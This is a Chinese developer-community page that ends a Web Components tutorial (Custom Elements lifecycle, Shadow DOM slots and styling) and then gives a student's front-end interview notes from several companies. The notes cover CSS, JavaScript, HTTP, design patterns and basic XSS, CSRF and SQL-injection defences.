    在 Custom Elements 中,constructor() 构造函数就是其原本的含义:初始化,和 React 的初始化类似,但它没有像 React 中那样将其拆分为多个部分。在这个阶段,组件仅仅是被创建出来(比如通过 document.createElement()),但是还没有插入到 DOM 树中。

  • connectedCallback(): 组件实例已被插入到 DOM 树中,用于进行一些展示相关的初始化操作。

    对应 React 中 Mounting 阶段的最后一个生命周期:componentDidMount()

    在这个阶段,组件已经被插入到 DOM 树中了,或是其本身就在 html 文件中写好在 DOM 树上了,这个阶段一般是进行一些展示相关的初始化,比如加载数据、图片、音频或视频之类并进行展示。

  • attributeChangedCallback(attrName, oldVal, newVal): 组件属性发生变化,用于更新组件的状态。

    对应 React 中的 Updating 阶段:static getDerivedStateFromProps(props, state)shouldComponentUpdate(nextProps, nextState)render()getSnapshotBeforeUpdate(prevProps, prevState)componentDidUpdate(prevProps, prevState, snapshot)

    当组件的属性(React 中的 props)发生变化时触发这个生命周期,但是并不是所有属性变化都会触发,比如组件的 classstyle 之类的属性发生变化一般是不会产生特殊交互的,如果所有属性发生变化都触发这个生命周期的话,会使得性能造成较大的影响。所以 Custom Elements 要求开发者提供一个属性列表,只有当属性列表中的属性发生变化时才会触发这个生命周期函数。

    这个属性列表通过组件类上的一个静态只读属性来声明,在 ES6 Class 中使用一个 getter 函数来实现,只实现 getter 而不实现 setter,getter 返回一个常量,这样就是只读的了。像这样:

    class AwesomeElement extends HTMLElement {
      static get observedAttributes() {
        return ['awesome'];
      }
    }
  • disconnectedCallback(): 组件被从 DOM 树中移除,用于进行一些清理操作。

    对应 React 中的 Unmounting 阶段:componentWillUnmount()

  • adoptedCallback(): 组件实例从一个文档被移动到另一个文档。

    这个生命周期是原生组件独有的,React 中没有类似的生命周期。这个生命周期函数也并不常用到,一般在操作多个 document 的时候会遇到,调用 document.adoptNode() 函数转移节点所属 document 时会触发这个生命周期。

在定义了自定义组件后,我们需要将它注册到 HTML 标签列表中,通过 window.customElements.define() 函数即可实现,这个函数接受两个必须参数和一个可选参数。第一个参数是注册的标签名,为了避免和 HTML 自身的标签冲突,Custom Elements 要求用户自定义的组件名必须至少包含一个短杠 -,并且不能以短杠开头,比如 my-elementawesome-button 之类都是可以的。第二个参数是注册的组件的 class,直接将继承的子类类名传入即可,当然也可以直接写一个匿名类:

window.customElements.define('my-element', class extends HTMLElement {
  ...
});

注册之后,我们就可以使用了,可以直接在 html 文档中写对应的标签,比如:<my-element></my-element>,也可以通过 document.createElement('my-element') 来创建,用法与普通标签几乎完全一样。但要注意的是,虽然 html 标准中说部分标签可以不关闭或是自关闭(<br> 或是 <br />),但是只有规定的少数几个标签允许自关闭,所以,在 html 中写 Custom Elements 的节点时必须带上关闭标签。

由于 Custom Elements 是通过 JavaScript 来定义的,而一般 js 文件都是通过 <script> 标签外联的,所以 html 文档中的 Custom Elements 在 JavaScript 未执行时是处于一个默认的状态,浏览器默认会将其内容直接显示出来。为了避免这样的情况发生,Custom Elements 在被注册后都会有一个 :defined CSS 伪类而在注册前没有,所以我们可以通过 CSS 选择器在 Custom Elements 注册前将其隐藏起来,比如:

my-element:not(:defined) {
  display: none;
}

或者 Custom Elements 也提供了一个函数来检测指定的组件是否已经被注册:customElements.whenDefined(),这个函数接受一个组件名参数,并返回一个 Promise,当 Promise 被 resolve 时,就表示组件被注册了。

这样,我们就可以放心的在加载 Custom Elements 的 JavaScript 的 <script> 标签上使用 async 属性来延迟加载了(当然,如果是使用 ES6 Modules 形式的话默认的加载行为就会和 defer 类似)。

script async defer

Custom Elements + Shadow DOM

使用 Custom Elements 来创建组件时,通常会与 Shadow DOM 进行结合,利用 Shadow DOM 的隔离性,就可以创造独立的组件。

通常在 Custom Elements 的 constructor() 构造函数中去创建 Shadow DOM,并对 Shadow DOM 中的节点添加事件监听、对特定事件触发原生 Events 对象。

正常编写 html 文档时,我们可能会给 Custom Elements 添加一些子节点,像这样:<my-element><h1>Title</h1><p>Content</p></my-element>,而我们创建的 Shadow DOM 又拥有其自己的结构,怎样将这些子节点放置到 Shadow DOM 中正确的位置上呢?

在 React 中,这些子节点被放置在 propschildren 中,我们可以在 render() 时选择将它放在哪里。而在 Shadow DOM 中有一个特殊的标签:<slot>,这个标签的用处就如同其字面意思,在 Shadow DOM 上放置一个“插槽”,然后 Custom Elements 的子节点就会自动放置到这个“插槽”中了。

有时我们需要更加精确地控制子节点在 Shadow DOM 中的位置,而默认情况下,所有子节点都会被放置在同一个 <slot> 标签下,即便是你写了多个 <slot>。那怎样更精确地对子节点进行控制呢?

默认情况下,<slot>Fallback</slot> 这样的是默认的 <slot>,只有第一个默认的 <slot> 会有效,将所有子节点全部放进去,如果没有可用的子节点,将会显示默认的 Fallback 内容(Fallback 可以是一棵子 DOM 树)。

<slot> 标签有一个 name 属性,当你提供 name 后,它将变为一个“有名字的 <slot>”,这样的 <slot> 可以存在多个,只要名字各不相同。此时他们会自动匹配 Custom Elements 下带 slot 属性并且 slot 属性与自身 name 相同的子节点,像这样:

<template id="list">
  <div>
    <h1>Others</h1>
    <slot></slot>
  </div>
  <div>
    <h1>Animals</h1>
    <slot name="animal"></slot>
  </div>
  <div>
    <h1>Fruits</h1>
    <slot name="fruit"></slot>
  </div>
</template>

<my-list>
  <div slot="animal">Cat</div>
  <div slot="fruit">Apple</div>
  <div slot="fruit">Banana</div>
  <div slot="other">flower</div>
  <div>pencil</div>
  <div slot="animal">Dog</div>
  <div slot="fruit">peach</div>
  <div>red</div>
</my-list>
class MyList extends HTMLElement {
  constructor() {
    super();
    const root = this.attachShadow({ mode: 'open' });
    const template = document.getElementById('list');
    root.appendChild(document.importNode(template.content, true));
  }
}
customElements.define('my-list', MyList);

这样就可以得到如图所示的结构,#shadow-root (open) 表示这是一个开放的 Shadow DOM,下面的节点是直接从 template 中 clone 过来的,浏览器自动在三个 <slot> 标签下放置了几个灰色的 <div> 节点,实际上这些灰色的 <div> 节点表示的是到其真实节点的“引用”,鼠标移动到他们上会显示一个 reveal 链接,点击这个链接即可跳转至其真实节点。

My List

这里我们可以看到,虽然 <my-list> 下的子节点是乱序放置的,但是只要是给定了 slot 属性,就会被放置到正确的 <slot> 标签下。注意观察其中有一个 <div slot="other">flower</div>,这个节点由于指定了 slot="other",但是却找不到匹配的 <slot> 标签,所以它不会被显示在结果中。

在为 Custom Elements 下的 Shadow DOM 设置样式的时候,我们可以直接在 Shadow DOM 下放置 <style> 标签,也可以放置 <link rel="stylesheet">,Shadow DOM 下的样式都是局部的,所以不用担心会影响到 Shadow DOM 的外部。并且由于这些样式仅影响局部🌻,所以对性能也有很大的提升。

在 Shadow DOM 内部的样式中,也有一些特定的选择器,比如 :host 选择器,代表着 ShadowRoot,这类似于普通 DOM 中的 :root,并且它可以与其他伪类组合使用,比如当鼠标在组件上时::host(:hover),当组件拥有某个 class 时::host(.awesome),当组件拥有 disabled 属性时::host([disabled])……但是 :host 是拥有继承属性的,所以如果在 Custom Elements 外部定义了某些样式,将会覆盖 :host 中的样式,这样就可以轻松地实现各式各样的“主题风格”了。

为了实现自定义主题,我们还可以使用 Shadow DOM 提供的 :host-context() 选择器,这个选择器允许检查 Shadow DOM 的任何祖先节点是否包含指定选择器。比如如果在最外层 DOM 的 <html><body> 上有一个 class:.night,则 Shadow DOM 内就可以使用 :host-context(.night) 来指定一个夜晚的主题。这样可以实现主题样式的继承。

还有一种样式的定义方式是利用 CSS 变量。我们在 Shadow DOM 中使用变量来指定样式,比如:background-color: var(--bg-colour, #0F0);,这样就可以在 Shadow DOM 外面指定 --bg-colour 变量来设置样式了,如果没有指定变量,将使用默认的样式颜色 #0F0

有时我们需要在 Shadow DOM 内部使用完全自定义的样式,比如字体样式、字体大小,如果任由其继承可能导致布局错乱,而每次在组件外面指定样式又略显麻烦,并且也破坏了组件的封装性。所以,Shadow DOM 提供了一个 all 属性,只要指定 :host{ all: initial; } 就可以重置所有继承的属性。

Demo

Web Components 的 Demo 在网上已经有很多了,这是我 2 年前初次接触 ES6 与 Web Components 的时候写的一个 Demo:https://github.com/jinliming2/Calendar-js,一个日历,当时还是 v0 的规范,并且在 Firefox 下还存在会导致 Firefox 崩溃的 Bug(感觉是 Firefox 在实现 Shadow DOM 时的 Bug)。目前这个 Demo 已经不能在 Firefox 下运行了,因为 Firefox 已经删除了 v0 规范,开始实行 v1 标准了,所以近期我可能会重构一下这个 Demo。

总结

Web Components 的概念最初是由 Alex RussellFronteers Conference 2011 提出的,这个概念在当时非常的震撼。2013 年,Google 推出了一个叫做“Polymer)”的 Web Components 框架以推动 Web Components 的发展。

2014 年,Chrome 发布了早期版本的 Web Components 组件规范,包括 Custom Elements v0、Shadow DOM v0 和 HTML Imports。但是此时的规范都还是实验性的,现在已经不推荐使用,并且被 Custom Elements v1、Shadow DOM v1 标准取代,而 HTML Imports 却没有标准化,将来会被 ES6 Modules 所取代。

v0 规范将会在 Chrome 70 中被标记弃用警告,并在 2019 年 3 月左右从 Chrome 73 中删除。

而 v1 标准已经在 Chrome 54+ 和 Safari 10.1+ 中支持,并计划本月(2018 年 10 月)在 Firefox 中正式支持(此前 Firefox 已经支持,但默认禁用,需要在 about:config 中启用)。

而 HTML Templates 作为 HTML5 的功能早已被各大浏览器接受并支持。

由于 Web Components 涉及到的子项较多,这里就不给出 Can I Use 的截图了,读者可以自行去搜索“Web Components”查看相关兼容性,或是点击这里

Can I Use 中包含了 HTML TemplatesHTML ImportsShadow DOM v0Custom Elements v0Shadow DOM v1Custom Elements v1 的相关浏览器兼容性和注释,非常详细。

原生 HTML 组件基于的 Web Components 不是单一的技术,他是由 W3C 定义的一系列浏览器标准组成的,通过浏览器自身可以理解的方式去构建组件,这将成为未来的前端标准。


文 / jinliming2
一条对新鲜事物充满了好奇心的咸鱼

编 / 荧声

作者过往文章:

本文已由作者授权发布,版权属于创宇前端。欢迎注明出处转载本文。本文链接:https://knownsec-fed.com/2018...

想要订阅更多来自知道创宇开发一线的分享,请搜索关注我们的微信公众号:创宇前端(KnownsecFED)。欢迎留言讨论,我们会尽可能回复。

欢迎点赞、收藏、留言评论、转发分享和打赏支持我们。打赏将被完全转交给文章作者。

感谢您的阅读。

查看原文

hyule 赞了文章 · 2018-10-09

百度阿里网易大疆等大小厂前端校招面筋

自我介绍下:某985硕士,程序媛,接触前端一年时间。从八月份开始校招面试笔试,前前后后大厂小厂也都面了挺多,不过大厂基本都被我挂完了,哭晕我,还是太菜啊。面过的公司:ThoughtWorks,大疆,阿里,网易,百度,电信it研发中心,深信服,华为,小米,搜狗,腾讯。拿了offer的公司目前是:大疆、电信、深信服、华为。下面总结了这段时间的面筋和挂筋~

腾讯

10月16日更新,面了腾讯一面,然后就挂了,结束的太快就像龙卷风。

1. 怎么从十万个节点中找到想要的节点,怎么快速在某个节点前插入一个节点?

这个题目我已经在segmentfault上提问了,目前还没有人给出回答,求大神前去解答~

题目链接: 怎么在有十万个节点的html文档中找到特定的某个节点

2. 负载均衡方式和容错机制

3. 描述一个文件从硬盘读取到进程内存中的过程

4. TCP三次握手和挥手的过程,除了这些书本上的还有哪些?

5. 画一下OSI七层模型

6. 写一个你最熟悉的算法

7. 有哪些伪类和伪元素

8. IE盒模型和标准盒模型,用哪个属性改变

9. 怎么清除浮动,原理是什么

10. em,rem,px的区别

大疆

大疆是我校招面的第一家公司,从六月份投简历,然后笔试面试到拿到录用意向书,前后用了近四个月,来之不易啊。

一面二面

因为时间太久,就直接放在一起了,问的都是基础吧,讲真,大疆前端面试不难,都是很基础的,就是时间长,等的捉急。一面是电话面,两个面试官轮流问;二面是视频面,是三个面试官一起微信视频,视频面还是蛮累的,上下左右都得顾上;终面是去的现场面,就跟一个面试官聊了十几分钟人生。

1. meta标签

meta标签:提供给页面的一些元信息(名称/值对), 比如针对搜索引擎和更新频度的描述和关键词。

  • name:名称/值对中的名称。常用的有author、description、keywords、generator、revised、others。 把 content 属性关联到一个名称。
  • http-equiv:没有name时,会采用这个属性的值。常用的有content-type、expires、refresh、set-cookie。把content属性关联到http头部。
  • content: 名称/值对中的值, 可以是任何有效的字符串。 始终要和 name 属性或 http-equiv 属性一起使用。
  • scheme: 用于指定要用来翻译属性值的方案。

2. css哪些属性可以继承

  • 字体相关:line-height, font-family, font-size, font-style, font-variant, font-weight, font
  • 文本相关: letter-spacing, text-align, text-indent, text-transform, word-spacing
  • 列表相关:list-style-image, list-style-position, list-style-type, list-style
  • 颜色:color

3. css3有哪些新属性

(1)边框:

  • border-radius:圆角边框,border-radius:25px;
  • box-shadow:边框阴影,box-shadow: 10px 10px 5px #888888;
  • border-image:边框图片,border-image:url(border.png) 30 30 round;

(2)背景:

  • background-size:规定背景图片的尺寸,background-size:63px 100px;
  • background-origin:规定背景图片的定位区域,背景图片可以放置于 content-box、padding-box 或 border-box 区域。background-origin:content-box;
  • CSS3 允许您为元素使用多个背景图像。background-image:url(bg_flower.gif),url(bg_flower_2.gif);

(3)文本效果:

  • text-shadow:向文本应用阴影,可以规定水平阴影、垂直阴影、模糊距离,以及阴影的颜色。text-shadow: 5px 5px 5px #FF0000;
  • word-wrap:允许文本进行换行。word-wrap:break-word;

(4)字体:CSS3 @font-face 规则可以自定义字体。

(5)2D 转换(transform

  • translate():元素从其当前位置移动,根据给定的 left(x 坐标) 和 top(y 坐标) 位置参数。 transform: translate(50px,100px);
  • rotate():元素顺时针旋转给定的角度。允许负值,元素将逆时针旋转。transform: rotate(30deg);
  • scale():元素的尺寸会增加或减少,根据给定的宽度(X 轴)和高度(Y 轴)参数。transform: scale(2,4);
  • skew():元素翻转给定的角度,根据给定的水平线(X 轴)和垂直线(Y 轴)参数。transform: skew(30deg,20deg);
  • matrix(): 把所有 2D 转换方法组合在一起,需要六个参数,包含数学函数,允许您:旋转、缩放、移动以及倾斜元素。transform:matrix(0.866,0.5,-0.5,0.866,0,0);

(6)3D 转换

  • rotateX():元素围绕其 X 轴以给定的度数进行旋转。transform: rotateX(120deg);
  • rotateY():元素围绕其 Y 轴以给定的度数进行旋转。transform: rotateY(130deg);

(7)transition:过渡效果,使页面变化更平滑

  • transition-property :执行动画对应的属性,例如 color,background 等,可以使用 all 来指定所有的属性。
  • transition-duration:过渡动画的一个持续时间。
  • transition-timing-function:在延续时间段,动画变化的速率,常见的有:ease | linear | ease-in | ease-out | ease-in-out | cubic-bezier 。
  • transition-delay:延迟多久后开始动画。

简写为:transition: [<transition-property> || <transition-duration> || <transition-timing-function> || <transition-delay>];

(8)animation:动画

使用CSS3 @keyframes 规则。

  • animation-name: 定义动画名称
  • animation-duration: 指定元素播放动画所持续的时间长
  • animation-timing-function:ease | linear | ease-in | ease-out | ease-in-out | cubic-bezier(<number>, <number>, <number>, <number>): 指元素根据时间的推进来改变属性值的变换速率,说得简单点就是动画的播放方式。
  • animation-delay: 指定元素动画开始时间
  • animation-iteration-count:infinite | <number>:指定元素播放动画的循环次
  • animation-direction: normal | alternate: 指定元素动画播放的方向,其只有两个值,默认值为normal,如果设置为normal时,动画的每次循环都是向前播放;另一个值是alternate,他的作用是,动画播放在第偶数次向前播放,第奇数次向反方向播放。
  • animation-play-state:running | paused :控制元素动画的播放状态。

简写为: animation:[<animation-name> || <animation-duration> || <animation-timing-function> || <animation-delay> || <animation-iteration-count> || <animation-direction>]

这里只列出了一部分,详情可以去看w3school的CSS3 教程

4. 闭包是什么,什么时候闭包会消除?

因为作用域链,外部不能访问内部的变量和方法,这时我们就需要通过闭包,返回内部的方法和变量给外部,从而就形成了一个闭包。

JavaScript是一门具有自动垃圾回收机制的编程语言,主要有两种方式:

  • 标记清除(最常用)

垃圾收集器在运行的时候会给存储在内存中的所有变量都加上标记(可以使用任何标记方式)。然后,它会去掉环境中的变量以及被环境中的变量引用的变量的标记。而在此之后再被加上标记的变量将被视为准备删除的变量,原因是环境中的变量已经无法访问到这些变量了。最后,垃圾收集器完成内存清除工作,销毁那些带标记的值并回收它们所占用的内存空间。

  • 引用计数

引用计数(reference counting)的含义是跟踪记录每个值被引用的次数。当声明了一个变量并将一个引用类型值赋给该变量时,则这个值的引用次数就是1。如果同一个值又被赋给另一个变量,则该值的引用次数加1。相反,如果包含对这个值引用的变量又取得了另外一个值,则这个值的引用次数减1。当这个值的引用次数变成0 时,则说明没有办法再访问这个值了,因而就可以将其占用的内存空间回收回来。这样,当垃圾收集器下次再运行时,它就会释放那些引用次数为零的值所占用的内存。

导致问题:会导致循环引用的变量和函数无法回收。

解决:将用完的函数或者变量置为null。

5. 怎么理解js是单线程的

主要说一下异步以及事件循环机制,还有事件队列中的宏任务、微任务。

  • macrotask:主代码块,setTimeout,setInterval、setImmediate等。
  • microtask:process.nextTick(相当于node.js版的setTimeout),Promise 。process.nextTick的优先级高于Promise。

更详细可以看这篇博客:这一次,彻底弄懂 JavaScript 执行机制,讲的非常清晰。

6. 有哪些排序算法,时间复杂度是多少?什么时候快排的效率最低?

排序算法最坏事件复杂度平均时间复杂度稳定度空间复杂度
冒泡排序O(n^2)O(n^2)稳定O(1)
插入排序O(n^2)O(n^2)稳定O(1)
选择排序O(n^2)O(n^2)稳定O(1)
快速排序O(n^2)O(n*log2n)不稳定O(log2n)~O(n)
二叉树排序O(n^2)O(n*log2n)不一定O(n)
堆排序O(n*log2n)O(n*log2n)不稳定O(1)

整个序列已经有序或完全倒序时,快排的效率最低。

7. 原生ajax的请求过程

创建全平台兼容的XMLHttpRequest对象:

function getXHR(){
  var xhr = null;
  if(window.XMLHttpRequest) {// 兼容 IE7+, Firefox, Chrome, Opera, Safari
    xhr = new XMLHttpRequest();
  } else if (window.ActiveXObject) {
    try {
      xhr = new ActiveXObject("Msxml2.XMLHTTP");// 即MSXML3
    } catch (e) {
      try {
        xhr = new ActiveXObject("Microsoft.XMLHTTP");// // 兼容 IE6, IE5,很老的api,虽然浏览器支持,功能可能不完善,故不建议使用
      } catch (e) {
        alert("您的浏览器暂不支持Ajax!");
      }
    }
  }
  return xhr;
}

Ajax请求数据的过程:

var xhr = getXHR();
xhr.open('GET', url/file,true);  //设置请求方式,url,以及是否异步
xhr.onreadystatechange = function() {   //设置回调监听函数
   if(xhr.readyState==4){
        if(xhr.status==200){
            var data=xhr.responseText;
             console.log(data);
   }
};
xhr.onerror = function() {
  console.log("Oh, error");
};
xhr.send();  //发送请求

8. http状态码,cookie字段,cookie一般存的是什么,session怎么存在的?

这部分可以参考我的博客:HTTP协议知识点总结

9. http请求方式有哪些?

  • HTTP1.0定义了三种请求方法: GET, POST 和 HEAD方法。
  • HTTP1.1新增了五种请求方法:OPTIONS, PUT, DELETE, TRACE 和 CONNECT 方法。
  • 更多请看:HTTP请求方法

10. 怎么用原生js实现一个轮播图,以及滚动滑动

之前我使用轮播图都是用的antd的组件,所以我大致说了一下思路,用定时器去实现,以及如何实现平滑的滚动效果。详情请看: 原生js实现轮播图

11. 用过哪些开源的组件

说了antd和element-ui。

12. 怎么实现上传下载的功能

主要说了下form表单和input标签。

13. react生命周期,以及diff算法,diff算法是对树的深度优先遍历还是广度优先遍历?

14. 强缓存和协商缓存

参考:HTTP协议知识点总结

15. react-router的原理

react-router就是控制不同的url渲染不同的组件。react-router在history库的基础上,实现了URL与UI的同步。

原理:DOM渲染完成之后,给window添加onhashchange事件监听页面hash的变化,并且在state属性中添加了route属性,代表当前页面的路由。

具体步骤

  • 当点击链接,页面hash改变时,触发绑定在 window 上的 onhashchange 事件;
  • 在 onhashchange 事件中改变组件的 state中的 route 属性,react组件的state属性改变时,自动重新渲染页面;
  • 页面随着 state 中的route属性改变,自动根据不同的hash给Child变量赋值不同的组件,进行渲染。

参考:react-router的实现原理

16. 怎么用无人机捕获天空上的鸟

这个题目我也不造啊,毕竟我没用过无人机,有知道的大神可以在评论中回答一下~

终面

终面是去的现场,在深圳总部那边,基本就是闲聊了二十来分钟吧,面完还有hr小姐姐给我们介绍和参观了无人机,酷炫~

  1. 做的项目中,哪个做的最深入最久
  2. 为什么要做前端,喜欢做前端么
  3. 未来的职业规划
  4. 了解大疆么,大疆的文化是什么
  5. 除了实习,还做过哪些项目
  6. 如果生活富足,衣食无忧,你会选择干什么

阿里巴巴

阿里是提前批,找人内推了菜鸟网络,面了六轮,面的我怀疑人生了,中途四面本来已经挂了,后面三面面试官又捞起来给我加面了一轮,不过最后还是挂在了hr。

一面

1. css选择器,怎么选择相同的类

id、class、标签、伪类、通配符等。可以用getElementsByClassName()选择相同的类。

2. css3有哪些伪类,伪类选择器有哪些

这里要区分一下伪类和伪元素的概念。根本区别在于它们是否创造了新的元素(抽象)。

  • 伪类:用于向某些选择器添加特殊的效果。例如,a标签的:link, :visited, :hover, :active; 以及 :first-child, :last-child
  • 伪元素:是html中不存在的元素,用于将特殊的效果添加到某些选择器。例如:before,:after, :first-letter, :first-line。css3只新增了一个伪元素 ::selection(改变用户所选取部分的样式)。

参考: CSS3 选择器——伪类选择器

3. OSI七层网络模型

OSI七层模型作用对应协议对应设备
应用层它是计算机用户,以及各种应用程序和网络之间的接口HTTP, FTP, SMTP, POP3计算机设备
表示层信息的语法语义以及它们的关系,如加密解密、转换翻译、压缩解压缩IPX, LPP, XDP
会话层建立、维护、管理应用程序之间的会话SSL, TLS, DAP, LDAP
传输层服务点编址,分段与重组、连接控制、流量控制、差错控制TCP, UDP防火墙
网络层为网络设备提供逻辑地址,进行路由选择、分组转发IP ARP RARP ICMP IGMP路由器
数据链路层物理寻址,同时将原始比特流转变为逻辑传输路线PPTP, ARP, RARP交换机
物理层机械、电子、定时接口通道信道上的原始比特流传输IEEE 802.2, Ethernet v.2, Internetwork网卡

参考: 一张非常强大的OSI七层模型图解

4. MVC和MVVM的区别

  • Model用于封装和应用程序的业务逻辑相关的数据以及对数据的处理方法;
  • View作为视图层,主要负责数据的展示;
  • Controller定义用户界面对用户输入的响应方式,它连接模型和视图,用于控制应用程序的流程,处理用户的行为和数据上的改变。

MVC将响应机制封装在controller对象中,当用户和你的应用产生交互时,控制器中的事件触发器就开始工作了。

MVVM把View和Model的同步逻辑自动化了。以前Controller负责的View和Model同步不再手动地进行操作,而是交给框架所提供的数据绑定功能进行负责,只需要告诉它View显示的数据对应的是Model哪一部分即可。也就是双向数据绑定,就是View的变化能实时让Model发生变化,而Model的变化也能实时更新到View。

参考: 浅析前端开发中的 MVC/MVP/MVVM 模式

5. 用过哪些设计模式

(1)单例模式

定义:保证一个类仅有一个实例,并提供一个访问它的全局访问点。

实现方法:先判断实例存在与否,如果存在则直接返回,如果不存在就创建了再返回,这就确保了一个类只有一个实例对象。

适用场景:一个单一对象。比如:弹窗,无论点击多少次,弹窗只应该被创建一次。

(2)发布/订阅模式
定义:又叫观察者模式,它定义对象间的一种一对多的依赖关系,当一个对象的状态发生改变时,所有依赖于它的对象都将得到通知。

场景:订阅感兴趣的专栏和公众号。

(3)策略模式
定义:将一个个算法(解决方案)封装在一个个策略类中。

优点:

  • 策略模式可以避免代码中的多重判断条件。
  • 策略模式很好的体现了开放-封闭原则,将一个个算法(解决方案)封装在一个个策略类中。便于切换,理解,扩展。
  • 策略中的各种算法可以重复利用在系统的各个地方,避免复制粘贴。
  • 策略模式在程序中或多或少的增加了策略类。但比堆砌在业务逻辑中要清晰明了。
  • 违反最少知识原则,必须要了解各种策略类,才能更好的在业务中应用。

应用场景:根据不同的员工绩效计算不同的奖金;表单验证中的多种校验规则。

(4)代理模式

定义:为一个对象提供一个代用品或占位符,以便控制对它的访问。

应用场景:图片懒加载(先通过一张loading图占位,然后通过异步的方式加载图片,等图片加载好了再把完成的图片加载到img标签里面。)

(5)中介者模式

定义:通过一个中介者对象,其他所有相关对象都通过该中介者对象来通信,而不是互相引用,当其中的一个对象发生改变时,只要通知中介者对象就可以。可以解除对象与对象之间的紧耦合关系。

应用场景: 例如购物车需求,存在商品选择表单、颜色选择表单、购买数量表单等等,都会触发change事件,那么可以通过中介者来转发处理这些事件,实现各个事件间的解耦,仅仅维护中介者对象即可。

(6)装饰者模式

定义:在不改变对象自身的基础上,在程序运行期间给对象动态的添加方法。

应用场景: 有方法维持不变,在原有方法上再挂载其他方法来满足现有需求;函数的解耦,将函数拆分成多个可复用的函数,再将拆分出来的函数挂载到某个函数上,实现相同的效果但增强了复用性。

参考: JavaScript设计模式

6. Http状态码

7. https怎么加密

参考: HTTP协议知识点总结

8. es6相比es5有哪些优点

大概说一下:let、const,模板字符串,箭头函数,做异步处理的promise、generator、async await,es6模块等。

参考: 阮一峰 —— ECMAScript 6 入门

9. ajax请求过程

不多说,上面有。

10. 有哪些性能优化

参考:

11. 懒加载怎么实现

场景:一个页面中很多图片,但是首屏只出现几张,这时如果一次性把图片都加载出来会影响性能。这时可以使用懒加载,页面滚动到可视区在加载。优化首屏加载。

实现:img标签src属性为空,给一个data-xx属性,里面存放图片真实地址,当页面滚动直至此图片出现在可视区域时,用js取到该图片的data-xx的值赋给src。

优点:页面加载速度快,减轻服务器压力、节约流量,用户体验好。

12. 项目中写过什么组件,组件有哪些功能

主要介绍了下实习项目写过的组件,说了下如何实现的。

二面

1. react框架有哪些设计的好的地方

主要介绍了以下几个部分:

  • JSX语法
  • 组件化
  • react单项数据流
  • 虚拟DOM
  • react生命周期

2. react是怎么工作的,怎么提高性能

主要还是说了下react的生命周期,还有shouldComponentUpdate这个函数,以及diff算法。

3. redux有哪些需要改进,你觉得你用的不怎么舒服的地方?

我当时说的是redux的subscribe方法有点麻烦,每次更新数据都要手动的subscribe一下,所以觉得react-redux的api封装的更好,用起来比较简单。

参考:

4. 怎么设计一个类似于antd 的 react 组件库

这个问题把我给问懵了额,我是按照软件工程的生命周期流程来答的。

5. 你做的最自豪的一个项目

这个略过...言之有理即可

6. mysql 的左关联和右关联

左关联:保留左表中所有的元组,右表中没有的属性填充NULL。

右关联:保留右表中所有的元组,左表中没有的属性填充NULL。

7. 有没有折腾过后端

直接说了没有,之前学了点PHP,不过都快忘得差不多了额。

8. 学习方法和未来的学习路线

言之有理即可。

9. 浏览器页面渲染机制

  • 解析html建立dom树
  • 解析css构建render树(将CSS代码解析成树形的数据结构,然后结合DOM合并成render树)
  • 布局render树(Layout/reflow),负责各元素尺寸、位置的计算
  • 绘制render树(paint),绘制页面像素信息
  • 浏览器会将各层的信息发送给GPU,GPU会将各层合成(composite),显示在屏幕上。

参考: 从浏览器多进程到JS单线程,JS运行机制最全面的一次梳理

10. XSS和CSRF防范措施

(1)XSS:跨站脚本攻击

攻击方式:在URL或者页面输入框中插入JavaScript代码。

防范:

  • 设置httpOnly,禁止用document.cookie操作;
  • 输入检查:在用户输入的时候进行格式检查;
  • 对输出转义。

(2)CSRF:跨站点伪造请求

攻击方式:攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。主要是拿到了用户的登录态。

防范:

  • 检查 Referer 字段:这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时,通常来说,Referer 字段应和请求的地址位于同一域名下。
  • 添加校验 Token:这种数据通常是表单中的一个数据项。服务器生成token并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 Token 的值为空或者错误,拒绝这个可疑请求。
  • 通过输入验证码来校验合法请求

三面

这一面基本问的是个人知识沉淀了,如实回答就可以了。

  1. 在项目中的难点,怎么解决的
  2. 你的优势是什么
  3. redux 源码学到了什么,怎么看源码的
  4. 了解哪些前端的前沿技术
  5. 平时看什么书,兴趣爱好是什么
  6. 异步有哪些方法
  7. 博客写了什么
  8. 除了实习经历,还做过哪些项目

四面

这一面是在杭州菜鸟现场面的,尴尬的是通知我的小姐姐一直强调是hr面,我天真的以为是hr面了,然鹅问了很多技术,当时候想的是阿里的hr都这么厉害了,都能直接问技术了。临走之前,特意问了面试官是hr面么,他说是技术,然后我......大概就知道自己凉了。

1. mysql的索引用的什么,介绍一下b树,b+树,红黑树这些

mysql的索引用的是B+树。

参考: 数据结构中常见的树(BST二叉搜索树、AVL平衡二叉树、RBT红黑树、B-树、B+树、B*树)

2. Mysql的基本写法

参考: 一千行 MySQL 学习笔记

3. 估算下杭州上空现在有多少架飞机

这个题目,也真的是为难我了额。在网上搜到了个答案,可以参考下:高盛的面试题

4. 两组数据,都存储五亿条url,内存有4G,如何找出相同的两条url

参考: 面试- 阿里-. 大数据题目- 给定a、b两个文件,各存放50亿个url,每个url各占64字节,内存限制是4G,让你找出a、b文件共同的url?

5. 如何找到一个字符串中最长的两个字符串

解法:后缀数组。首先生成字符串的所有后缀数组,在进行排序,找出相邻两个最长的公共子串(从第一位开始相同的)

例如:abcdeabc

生成后缀数组:【abcdeabc,bcdeabc,cdeabc,deabc,eabc,abc,bc,c】

再排序:【abcdeabc,abc,bcdeabc,bc,cdeabc,c,deabc,eabc】

找出相邻的最长公共子串:【abc,bc,c】

因此,最长的串是abc。

6. 在白板上画出这个项目的整个架构

画了下项目的功能架构什么的。

7. XSS, CSRF,token 怎么来的,sql 注入知道么

sql注入:

攻击方式:服务器上的数据库运行非法的 SQL 语句,主要通过拼接字符串的形式来完成,改变sql语句本身的语义。通过sql语句实现无账号登陆,甚至篡改数据库。

防御

  • 使用参数化查询:使用预编译语句,预先编译的 SQL 语句,并且传入适当参数多次执行。由于没有拼接的过程,因此可以防止 SQL 注入的发生。 使用preparedStatement的参数化sql,通过先确定语义,再传入参数,就不会因为传入的参数改变sql的语义。(通过setInt,setString,setBoolean传入参数)
  • 单引号转换:将传入的参数中的单引号转换为连续两个单引号,PHP 中的 Magic quote 可以完成这个功能。
  • 检查变量数据类型和格式。
  • 使用正则表达式过滤传入的参数,对特殊符号过滤或者转义处理。

8. 怎么设计一个ant的组件

